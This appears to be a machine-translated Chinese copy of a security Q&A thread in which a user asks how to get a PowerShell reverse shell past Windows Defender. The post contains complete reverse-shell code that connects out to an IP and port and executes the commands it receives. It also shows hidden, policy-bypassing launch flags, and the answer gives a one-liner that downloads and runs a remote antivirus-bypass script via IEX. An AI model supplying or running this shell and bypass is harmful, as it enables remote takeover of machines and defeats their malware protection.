我试着在windows 10上运行一个powershell反向外壳。无论如何,每次它被Wndow防御程序阻塞时。我怎么能绕过它?
在一个文件中我存储有效载荷
$client = New-Object System.Net.Sockets.TCPClient('192.168.1.54',9999);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close();然后我使用xencrypt混淆代码,但是当我运行powershell -NoP -NonI -W Hidden -Exec Bypass .\revshell.ps1时
我得到了
Questo script include contenuto dannoso ed è stato bloccato dal software antivirus.
In riga:18 car:1
+ IEX($piifnga)
+ ~~~~~~~~~~~~~
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand 问题:有办法绕过这个检查吗?
发布于 2020-06-19 09:51:54
Get-ExecutionPolicy -List列出执行策略LocalMachine是Restricted而你不是管理员..。Set-ExecutionPolicy -Scope Process Unrestricted在本地更改策略,这允许您执行存储在机器上的.ps脚本.IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/aloksaurabh/OffenPowerSh/master/Bypass/Invoke-AlokS-AvBypass.ps1'); Invoke-AlokS-AvBypass
ScriptContainedMaliciousContent消息的脚本是什么,它都不再显示https://security.stackexchange.com/questions/231508
复制相似问题